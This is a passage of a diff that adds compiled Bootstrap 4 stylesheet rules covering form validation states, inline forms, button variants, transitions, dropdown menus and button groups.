+.custom-select:valid ~ .valid-feedback,
+.was-validated
+.custom-select:valid ~ .valid-tooltip,
+.custom-select.is-valid ~ .valid-feedback,
+.custom-select.is-valid ~ .valid-tooltip {
+  display: block;
+}
+
+.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label {
+  color: #28a745;
+}
+
+.was-validated .form-check-input:valid ~ .valid-feedback,
+.was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback,
+.form-check-input.is-valid ~ .valid-tooltip {
+  display: block;
+}
+
+.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label {
+  color: #28a745;
+}
+
+.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before {
+  background-color: #71dd8a;
+}
+
+.was-validated .custom-control-input:valid ~ .valid-feedback,
+.was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback,
+.custom-control-input.is-valid ~ .valid-tooltip {
+  display: block;
+}
+
+.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before {
+  background-color: #34ce57;
+}
+
+.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before {
+  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(40, 167, 69, 0.25);
+}
+
+.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label {
+  border-color: #28a745;
+}
+
+.was-validated .custom-file-input:valid ~ .custom-file-label::before, .custom-file-input.is-valid ~ .custom-file-label::before {
+  border-color: inherit;
+}
+
+.was-validated .custom-file-input:valid ~ .valid-feedback,
+.was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback,
+.custom-file-input.is-valid ~ .valid-tooltip {
+  display: block;
+}
+
+.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label {
+  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);
+}
+
+.invalid-feedback {
+  display: none;
+  width: 100%;
+  margin-top: 0.25rem;
+  font-size: 80%;
+  color: #dc3545;
+}
+
+.invalid-tooltip {
+  position: absolute;
+  top: 100%;
+  z-index: 5;
+  display: none;
+  max-width: 100%;
+  padding: .5rem;
+  margin-top: .1rem;
+  font-size: .875rem;
+  line-height: 1;
+  color: #fff;
+  background-color: rgba(220, 53, 69, 0.8);
+  border-radius: .2rem;
+}
+
+.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated
+.custom-select:invalid,
+.custom-select.is-invalid {
+  border-color: #dc3545;
+}
+
+.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated
+.custom-select:invalid:focus,
+.custom-select.is-invalid:focus {
+  border-color: #dc3545;
+  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);
+}
+
+.was-validated .form-control:invalid ~ .invalid-feedback,
+.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback,
+.form-control.is-invalid ~ .invalid-tooltip, .was-validated
+.custom-select:invalid ~ .invalid-feedback,
+.was-validated
+.custom-select:invalid ~ .invalid-tooltip,
+.custom-select.is-invalid ~ .invalid-feedback,
+.custom-select.is-invalid ~ .invalid-tooltip {
+  display: block;
+}
+
+.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label {
+  color: #dc3545;
+}
+
+.was-validated .form-check-input:invalid ~ .invalid-feedback,
+.was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback,
+.form-check-input.is-invalid ~ .invalid-tooltip {
+  display: block;
+}
+
+.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label {
+  color: #dc3545;
+}
+
+.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before {
+  background-color: #efa2a9;
+}
+
+.was-validated .custom-control-input:invalid ~ .invalid-feedback,
+.was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback,
+.custom-control-input.is-invalid ~ .invalid-tooltip {
+  display: block;
+}
+
+.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before {
+  background-color: #e4606d;
+}
+
+.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before {
+  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(220, 53, 69, 0.25);
+}
+
+.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label {
+  border-color: #dc3545;
+}
+
+.was-validated .custom-file-input:invalid ~ .custom-file-label::before, .custom-file-input.is-invalid ~ .custom-file-label::before {
+  border-color: inherit;
+}
+
+.was-validated .custom-file-input:invalid ~ .invalid-feedback,
+.was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback,
+.custom-file-input.is-invalid ~ .invalid-tooltip {
+  display: block;
+}
+
+.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label {
+  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);
+}
+
+.form-inline {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-flow: row wrap;
+  flex-flow: row wrap;
+  -ms-flex-align: center;
+  align-items: center;
+}
+
+.form-inline .form-check {
+  width: 100%;
+}
+
+@media (min-width: 576px) {
+  .form-inline label {
+    display: -ms-flexbox;
+    display: flex;
+    -ms-flex-align: center;
+    align-items: center;
+    -ms-flex-pack: center;
+    justify-content: center;
+    margin-bottom: 0;
+  }
+  .form-inline .form-group {
+    display: -ms-flexbox;
+    display: flex;
+    -ms-flex: 0 0 auto;
+    flex: 0 0 auto;
+    -ms-flex-flow: row wrap;
+    flex-flow: row wrap;
+    -ms-flex-align: center;
+    align-items: center;
+    margin-bottom: 0;
+  }
+  .form-inline .form-control {
+    display: inline-block;
+    width: auto;
+    vertical-align: middle;
+  }
+  .form-inline .form-control-plaintext {
+    display: inline-block;
+  }
+  .form-inline .input-group,
+  .form-inline .custom-select {
+    width: auto;
+  }
+  .form-inline .form-check {
+    display: -ms-flexbox;
+    display: flex;
+    -ms-flex-align: center;
+    align-items: center;
+    -ms-flex-pack: center;
+    justify-content: center;
+    width: auto;
+    padding-left: 0;
+  }
+  .form-inline .form-check-input {
+    position: relative;
+    margin-top: 0;
+    margin-right: 0.25rem;
+    margin-left: 0;
+  }
+  .form-inline .custom-control {
+    -ms-flex-align: center;
+    align-items: center;
+    -ms-flex-pack: center;
+    justify-content: center;
+  }
+  .form-inline .custom-control-label {
+    margin-bottom: 0;
+  }
+}
+
+.btn {
+  display: inline-block;
+  font-weight: 400;
+  text-align: center;
+  white-space: nowrap;
+  vertical-align: middle;
+  -webkit-user-select: none;
+  -moz-user-select: none;
+  -ms-user-select: none;
+  user-select: none;
+  border: 1px solid transparent;
+  padding: 0.375rem 0.75rem;
+  font-size: 1rem;
+  line-height: 1.5;
+  border-radius: 0.25rem;
+  transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
+}
+
+@media screen and (prefers-reduced-motion: reduce) {
+  .btn {
+    transition: none;
+  }
+}
+
+.btn:hover, .btn:focus {
+  text-decoration: none;
+}
+
+.btn:focus, .btn.focus {
+  outline: 0;
+  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+
+.btn.disabled, .btn:disabled {
+  opacity: 0.65;
+}
+
+.btn:not(:disabled):not(.disabled) {
+  cursor: pointer;
+}
+
+.btn:not(:disabled):not(.disabled):active, .btn:not(:disabled):not(.disabled).active {
+  background-image: none;
+}
+
+a.btn.disabled,
+fieldset:disabled a.btn {
+  pointer-events: none;
+}
+
+.btn-primary {
+  color: #fff;
+  background-color: #007bff;
+  border-color: #007bff;
+}
+
+.btn-primary:hover {
+  color: #fff;
+  background-color: #0069d9;
+  border-color: #0062cc;
+}
+
+.btn-primary:focus, .btn-primary.focus {
+  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);
+}
+
+.btn-primary.disabled, .btn-primary:disabled {
+  color: #fff;
+  background-color: #007bff;
+  border-color: #007bff;
+}
+
+.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active,
+.show > .btn-primary.dropdown-toggle {
+  color: #fff;
+  background-color: #0062cc;
+  border-color: #005cbf;
+}
+
+.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus,
+.show > .btn-primary.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);
+}
+
+.btn-secondary {
+  color: #fff;
+  background-color: #6c757d;
+  border-color: #6c757d;
+}
+
+.btn-secondary:hover {
+  color: #fff;
+  background-color: #5a6268;
+  border-color: #545b62;
+}
+
+.btn-secondary:focus, .btn-secondary.focus {
+  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);
+}
+
+.btn-secondary.disabled, .btn-secondary:disabled {
+  color: #fff;
+  background-color: #6c757d;
+  border-color: #6c757d;
+}
+
+.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active,
+.show > .btn-secondary.dropdown-toggle {
+  color: #fff;
+  background-color: #545b62;
+  border-color: #4e555b;
+}
+
+.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus,
+.show > .btn-secondary.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);
+}
+
+.btn-success {
+  color: #fff;
+  background-color: #28a745;
+  border-color: #28a745;
+}
+
+.btn-success:hover {
+  color: #fff;
+  background-color: #218838;
+  border-color: #1e7e34;
+}
+
+.btn-success:focus, .btn-success.focus {
+  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);
+}
+
+.btn-success.disabled, .btn-success:disabled {
+  color: #fff;
+  background-color: #28a745;
+  border-color: #28a745;
+}
+
+.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active,
+.show > .btn-success.dropdown-toggle {
+  color: #fff;
+  background-color: #1e7e34;
+  border-color: #1c7430;
+}
+
+.btn-success:not(:disabled):not(.disabled):active:focus, .btn-success:not(:disabled):not(.disabled).active:focus,
+.show > .btn-success.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);
+}
+
+.btn-info {
+  color: #fff;
+  background-color: #17a2b8;
+  border-color: #17a2b8;
+}
+
+.btn-info:hover {
+  color: #fff;
+  background-color: #138496;
+  border-color: #117a8b;
+}
+
+.btn-info:focus, .btn-info.focus {
+  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);
+}
+
+.btn-info.disabled, .btn-info:disabled {
+  color: #fff;
+  background-color: #17a2b8;
+  border-color: #17a2b8;
+}
+
+.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active,
+.show > .btn-info.dropdown-toggle {
+  color: #fff;
+  background-color: #117a8b;
+  border-color: #10707f;
+}
+
+.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus,
+.show > .btn-info.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);
+}
+
+.btn-warning {
+  color: #212529;
+  background-color: #ffc107;
+  border-color: #ffc107;
+}
+
+.btn-warning:hover {
+  color: #212529;
+  background-color: #e0a800;
+  border-color: #d39e00;
+}
+
+.btn-warning:focus, .btn-warning.focus {
+  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);
+}
+
+.btn-warning.disabled, .btn-warning:disabled {
+  color: #212529;
+  background-color: #ffc107;
+  border-color: #ffc107;
+}
+
+.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active,
+.show > .btn-warning.dropdown-toggle {
+  color: #212529;
+  background-color: #d39e00;
+  border-color: #c69500;
+}
+
+.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus,
+.show > .btn-warning.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);
+}
+
+.btn-danger {
+  color: #fff;
+  background-color: #dc3545;
+  border-color: #dc3545;
+}
+
+.btn-danger:hover {
+  color: #fff;
+  background-color: #c82333;
+  border-color: #bd2130;
+}
+
+.btn-danger:focus, .btn-danger.focus {
+  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);
+}
+
+.btn-danger.disabled, .btn-danger:disabled {
+  color: #fff;
+  background-color: #dc3545;
+  border-color: #dc3545;
+}
+
+.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active,
+.show > .btn-danger.dropdown-toggle {
+  color: #fff;
+  background-color: #bd2130;
+  border-color: #b21f2d;
+}
+
+.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus,
+.show > .btn-danger.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);
+}
+
+.btn-light {
+  color: #212529;
+  background-color: #f8f9fa;
+  border-color: #f8f9fa;
+}
+
+.btn-light:hover {
+  color: #212529;
+  background-color: #e2e6ea;
+  border-color: #dae0e5;
+}
+
+.btn-light:focus, .btn-light.focus {
+  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);
+}
+
+.btn-light.disabled, .btn-light:disabled {
+  color: #212529;
+  background-color: #f8f9fa;
+  border-color: #f8f9fa;
+}
+
+.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active,
+.show > .btn-light.dropdown-toggle {
+  color: #212529;
+  background-color: #dae0e5;
+  border-color: #d3d9df;
+}
+
+.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus,
+.show > .btn-light.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);
+}
+
+.btn-dark {
+  color: #fff;
+  background-color: #343a40;
+  border-color: #343a40;
+}
+
+.btn-dark:hover {
+  color: #fff;
+  background-color: #23272b;
+  border-color: #1d2124;
+}
+
+.btn-dark:focus, .btn-dark.focus {
+  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);
+}
+
+.btn-dark.disabled, .btn-dark:disabled {
+  color: #fff;
+  background-color: #343a40;
+  border-color: #343a40;
+}
+
+.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active,
+.show > .btn-dark.dropdown-toggle {
+  color: #fff;
+  background-color: #1d2124;
+  border-color: #171a1d;
+}
+
+.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus,
+.show > .btn-dark.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);
+}
+
+.btn-outline-primary {
+  color: #007bff;
+  background-color: transparent;
+  background-image: none;
+  border-color: #007bff;
+}
+
+.btn-outline-primary:hover {
+  color: #fff;
+  background-color: #007bff;
+  border-color: #007bff;
+}
+
+.btn-outline-primary:focus, .btn-outline-primary.focus {
+  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);
+}
+
+.btn-outline-primary.disabled, .btn-outline-primary:disabled {
+  color: #007bff;
+  background-color: transparent;
+}
+
+.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active,
+.show > .btn-outline-primary.dropdown-toggle {
+  color: #fff;
+  background-color: #007bff;
+  border-color: #007bff;
+}
+
+.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus,
+.show > .btn-outline-primary.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);
+}
+
+.btn-outline-secondary {
+  color: #6c757d;
+  background-color: transparent;
+  background-image: none;
+  border-color: #6c757d;
+}
+
+.btn-outline-secondary:hover {
+  color: #fff;
+  background-color: #6c757d;
+  border-color: #6c757d;
+}
+
+.btn-outline-secondary:focus, .btn-outline-secondary.focus {
+  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);
+}
+
+.btn-outline-secondary.disabled, .btn-outline-secondary:disabled {
+  color: #6c757d;
+  background-color: transparent;
+}
+
+.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active,
+.show > .btn-outline-secondary.dropdown-toggle {
+  color: #fff;
+  background-color: #6c757d;
+  border-color: #6c757d;
+}
+
+.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus,
+.show > .btn-outline-secondary.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);
+}
+
+.btn-outline-success {
+  color: #28a745;
+  background-color: transparent;
+  background-image: none;
+  border-color: #28a745;
+}
+
+.btn-outline-success:hover {
+  color: #fff;
+  background-color: #28a745;
+  border-color: #28a745;
+}
+
+.btn-outline-success:focus, .btn-outline-success.focus {
+  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);
+}
+
+.btn-outline-success.disabled, .btn-outline-success:disabled {
+  color: #28a745;
+  background-color: transparent;
+}
+
+.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active,
+.show > .btn-outline-success.dropdown-toggle {
+  color: #fff;
+  background-color: #28a745;
+  border-color: #28a745;
+}
+
+.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus,
+.show > .btn-outline-success.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);
+}
+
+.btn-outline-info {
+  color: #17a2b8;
+  background-color: transparent;
+  background-image: none;
+  border-color: #17a2b8;
+}
+
+.btn-outline-info:hover {
+  color: #fff;
+  background-color: #17a2b8;
+  border-color: #17a2b8;
+}
+
+.btn-outline-info:focus, .btn-outline-info.focus {
+  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);
+}
+
+.btn-outline-info.disabled, .btn-outline-info:disabled {
+  color: #17a2b8;
+  background-color: transparent;
+}
+
+.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active,
+.show > .btn-outline-info.dropdown-toggle {
+  color: #fff;
+  background-color: #17a2b8;
+  border-color: #17a2b8;
+}
+
+.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus,
+.show > .btn-outline-info.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);
+}
+
+.btn-outline-warning {
+  color: #ffc107;
+  background-color: transparent;
+  background-image: none;
+  border-color: #ffc107;
+}
+
+.btn-outline-warning:hover {
+  color: #212529;
+  background-color: #ffc107;
+  border-color: #ffc107;
+}
+
+.btn-outline-warning:focus, .btn-outline-warning.focus {
+  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);
+}
+
+.btn-outline-warning.disabled, .btn-outline-warning:disabled {
+  color: #ffc107;
+  background-color: transparent;
+}
+
+.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active,
+.show > .btn-outline-warning.dropdown-toggle {
+  color: #212529;
+  background-color: #ffc107;
+  border-color: #ffc107;
+}
+
+.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus,
+.show > .btn-outline-warning.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);
+}
+
+.btn-outline-danger {
+  color: #dc3545;
+  background-color: transparent;
+  background-image: none;
+  border-color: #dc3545;
+}
+
+.btn-outline-danger:hover {
+  color: #fff;
+  background-color: #dc3545;
+  border-color: #dc3545;
+}
+
+.btn-outline-danger:focus, .btn-outline-danger.focus {
+  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);
+}
+
+.btn-outline-danger.disabled, .btn-outline-danger:disabled {
+  color: #dc3545;
+  background-color: transparent;
+}
+
+.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active,
+.show > .btn-outline-danger.dropdown-toggle {
+  color: #fff;
+  background-color: #dc3545;
+  border-color: #dc3545;
+}
+
+.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus,
+.show > .btn-outline-danger.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);
+}
+
+.btn-outline-light {
+  color: #f8f9fa;
+  background-color: transparent;
+  background-image: none;
+  border-color: #f8f9fa;
+}
+
+.btn-outline-light:hover {
+  color: #212529;
+  background-color: #f8f9fa;
+  border-color: #f8f9fa;
+}
+
+.btn-outline-light:focus, .btn-outline-light.focus {
+  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);
+}
+
+.btn-outline-light.disabled, .btn-outline-light:disabled {
+  color: #f8f9fa;
+  background-color: transparent;
+}
+
+.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active,
+.show > .btn-outline-light.dropdown-toggle {
+  color: #212529;
+  background-color: #f8f9fa;
+  border-color: #f8f9fa;
+}
+
+.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus,
+.show > .btn-outline-light.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);
+}
+
+.btn-outline-dark {
+  color: #343a40;
+  background-color: transparent;
+  background-image: none;
+  border-color: #343a40;
+}
+
+.btn-outline-dark:hover {
+  color: #fff;
+  background-color: #343a40;
+  border-color: #343a40;
+}
+
+.btn-outline-dark:focus, .btn-outline-dark.focus {
+  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);
+}
+
+.btn-outline-dark.disabled, .btn-outline-dark:disabled {
+  color: #343a40;
+  background-color: transparent;
+}
+
+.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active,
+.show > .btn-outline-dark.dropdown-toggle {
+  color: #fff;
+  background-color: #343a40;
+  border-color: #343a40;
+}
+
+.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus,
+.show > .btn-outline-dark.dropdown-toggle:focus {
+  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);
+}
+
+.btn-link {
+  font-weight: 400;
+  color: #007bff;
+  background-color: transparent;
+}
+
+.btn-link:hover {
+  color: #0056b3;
+  text-decoration: underline;
+  background-color: transparent;
+  border-color: transparent;
+}
+
+.btn-link:focus, .btn-link.focus {
+  text-decoration: underline;
+  border-color: transparent;
+  box-shadow: none;
+}
+
+.btn-link:disabled, .btn-link.disabled {
+  color: #6c757d;
+  pointer-events: none;
+}
+
+.btn-lg, .btn-group-lg > .btn {
+  padding: 0.5rem 1rem;
+  font-size: 1.25rem;
+  line-height: 1.5;
+  border-radius: 0.3rem;
+}
+
+.btn-sm, .btn-group-sm > .btn {
+  padding: 0.25rem 0.5rem;
+  font-size: 0.875rem;
+  line-height: 1.5;
+  border-radius: 0.2rem;
+}
+
+.btn-block {
+  display: block;
+  width: 100%;
+}
+
+.btn-block + .btn-block {
+  margin-top: 0.5rem;
+}
+
+input[type="submit"].btn-block,
+input[type="reset"].btn-block,
+input[type="button"].btn-block {
+  width: 100%;
+}
+
+.fade {
+  transition: opacity 0.15s linear;
+}
+
+@media screen and (prefers-reduced-motion: reduce) {
+  .fade {
+    transition: none;
+  }
+}
+
+.fade:not(.show) {
+  opacity: 0;
+}
+
+.collapse:not(.show) {
+  display: none;
+}
+
+.collapsing {
+  position: relative;
+  height: 0;
+  overflow: hidden;
+  transition: height 0.35s ease;
+}
+
+@media screen and (prefers-reduced-motion: reduce) {
+  .collapsing {
+    transition: none;
+  }
+}
+
+.dropup,
+.dropright,
+.dropdown,
+.dropleft {
+  position: relative;
+}
+
+.dropdown-toggle::after {
+  display: inline-block;
+  width: 0;
+  height: 0;
+  margin-left: 0.255em;
+  vertical-align: 0.255em;
+  content: "";
+  border-top: 0.3em solid;
+  border-right: 0.3em solid transparent;
+  border-bottom: 0;
+  border-left: 0.3em solid transparent;
+}
+
+.dropdown-toggle:empty::after {
+  margin-left: 0;
+}
+
+.dropdown-menu {
+  position: absolute;
+  top: 100%;
+  left: 0;
+  z-index: 1000;
+  display: none;
+  float: left;
+  min-width: 10rem;
+  padding: 0.5rem 0;
+  margin: 0.125rem 0 0;
+  font-size: 1rem;
+  color: #212529;
+  text-align: left;
+  list-style: none;
+  background-color: #fff;
+  background-clip: padding-box;
+  border: 1px solid rgba(0, 0, 0, 0.15);
+  border-radius: 0.25rem;
+}
+
+.dropdown-menu-right {
+  right: 0;
+  left: auto;
+}
+
+.dropup .dropdown-menu {
+  top: auto;
+  bottom: 100%;
+  margin-top: 0;
+  margin-bottom: 0.125rem;
+}
+
+.dropup .dropdown-toggle::after {
+  display: inline-block;
+  width: 0;
+  height: 0;
+  margin-left: 0.255em;
+  vertical-align: 0.255em;
+  content: "";
+  border-top: 0;
+  border-right: 0.3em solid transparent;
+  border-bottom: 0.3em solid;
+  border-left: 0.3em solid transparent;
+}
+
+.dropup .dropdown-toggle:empty::after {
+  margin-left: 0;
+}
+
+.dropright .dropdown-menu {
+  top: 0;
+  right: auto;
+  left: 100%;
+  margin-top: 0;
+  margin-left: 0.125rem;
+}
+
+.dropright .dropdown-toggle::after {
+  display: inline-block;
+  width: 0;
+  height: 0;
+  margin-left: 0.255em;
+  vertical-align: 0.255em;
+  content: "";
+  border-top: 0.3em solid transparent;
+  border-right: 0;
+  border-bottom: 0.3em solid transparent;
+  border-left: 0.3em solid;
+}
+
+.dropright .dropdown-toggle:empty::after {
+  margin-left: 0;
+}
+
+.dropright .dropdown-toggle::after {
+  vertical-align: 0;
+}
+
+.dropleft .dropdown-menu {
+  top: 0;
+  right: 100%;
+  left: auto;
+  margin-top: 0;
+  margin-right: 0.125rem;
+}
+
+.dropleft .dropdown-toggle::after {
+  display: inline-block;
+  width: 0;
+  height: 0;
+  margin-left: 0.255em;
+  vertical-align: 0.255em;
+  content: "";
+}
+
+.dropleft .dropdown-toggle::after {
+  display: none;
+}
+
+.dropleft .dropdown-toggle::before {
+  display: inline-block;
+  width: 0;
+  height: 0;
+  margin-right: 0.255em;
+  vertical-align: 0.255em;
+  content: "";
+  border-top: 0.3em solid transparent;
+  border-right: 0.3em solid;
+  border-bottom: 0.3em solid transparent;
+}
+
+.dropleft .dropdown-toggle:empty::after {
+  margin-left: 0;
+}
+
+.dropleft .dropdown-toggle::before {
+  vertical-align: 0;
+}
+
+.dropdown-menu[x-placement^="top"], .dropdown-menu[x-placement^="right"], .dropdown-menu[x-placement^="bottom"], .dropdown-menu[x-placement^="left"] {
+  right: auto;
+  bottom: auto;
+}
+
+.dropdown-divider {
+  height: 0;
+  margin: 0.5rem 0;
+  overflow: hidden;
+  border-top: 1px solid #e9ecef;
+}
+
+.dropdown-item {
+  display: block;
+  width: 100%;
+  padding: 0.25rem 1.5rem;
+  clear: both;
+  font-weight: 400;
+  color: #212529;
+  text-align: inherit;
+  white-space: nowrap;
+  background-color: transparent;
+  border: 0;
+}
+
+.dropdown-item:hover, .dropdown-item:focus {
+  color: #16181b;
+  text-decoration: none;
+  background-color: #f8f9fa;
+}
+
+.dropdown-item.active, .dropdown-item:active {
+  color: #fff;
+  text-decoration: none;
+  background-color: #007bff;
+}
+
+.dropdown-item.disabled, .dropdown-item:disabled {
+  color: #6c757d;
+  background-color: transparent;
+}
+
+.dropdown-menu.show {
+  display: block;
+}
+
+.dropdown-header {
+  display: block;
+  padding: 0.5rem 1.5rem;
+  margin-bottom: 0;
+  font-size: 0.875rem;
+  color: #6c757d;
+  white-space: nowrap;
+}
+
+.dropdown-item-text {
+  display: block;
+  padding: 0.25rem 1.5rem;
+  color: #212529;
+}
+
+.btn-group,
+.btn-group-vertical {
+  position: relative;
+  display: -ms-inline-flexbox;
+  display: inline-flex;
+  vertical-align: middle;
+}
+
+.btn-group > .btn,
+.btn-group-vertical > .btn {
+  position: relative;
+  -ms-flex: 0 1 auto;
+  flex: 0 1 auto;
+}
+
+.btn-group > .btn:hover,
+.btn-group-vertical > .btn:hover {
+  z-index: 1;
+}
+
+.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active,
+.btn-group-vertical > .btn:focus,
+.btn-group-vertical > .btn:active,
+.btn-group-vertical > .btn.active {
+  z-index: 1;
+}
+
+.btn-group .btn + .btn,
+.btn-group .btn + .btn-group,
+.btn-group .btn-group + .btn,
+.btn-group .btn-group + .btn-group,
+.btn-group-vertical .btn + .btn,
+.btn-group-vertical .btn + .btn-group,
+.btn-group-vertical .btn-group + .btn,
+.btn-group-vertical .btn-group + .btn-group {
+  margin-left: -1px;
+}
+
+.btn-toolbar {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-wrap: wrap;
+  flex-wrap: wrap;
